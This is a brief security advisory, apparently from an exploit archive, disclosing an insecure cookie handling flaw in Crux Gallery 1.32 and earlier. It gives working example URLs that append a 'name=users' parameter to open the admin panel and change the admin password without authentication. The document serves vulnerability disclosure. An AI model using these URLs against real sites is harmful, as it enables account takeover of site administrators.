Cruz Gallery versions 1.32 and below suffer from an insecure cookie handling vulnerability.
637ba23f75ad365ea335e09453c470259a8394a394f8e27fc94d4165fb378379
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Crux Gallery <= 1.32 / Insecure Cookie Handling Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Program: Crux Gallery
Version: <= 1,32
File affected: admin/*
Download: https://www.arzdev.com/downloads/8/Crux
Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org
>> Program description (by the author website) <<
Crux Gallery reads directories on a server and listes them with thumbnails for
the user to view without useing exrta space for thumbnails or extra bandwidth
for full images. Each image has other resolutions near them for the user to
choose from, including the origional resolution the image is in.
>> Bug <<
You can access to the admin panel altering the cookie and adding a parameter
in the navigation bar.
>> Exploit <<
Note: POST is not checked and you can enter all by GET. Also you can create a
simple perl script to send GET and POST packages.
Navigate by the admin panel adding the parameter '&name=users' in the
navigation bar. Examples:
to view the main admin panel:
https://site/index.php?op=admin&name=users
to change the admin password:
https://site/index.php?op=pass&name=users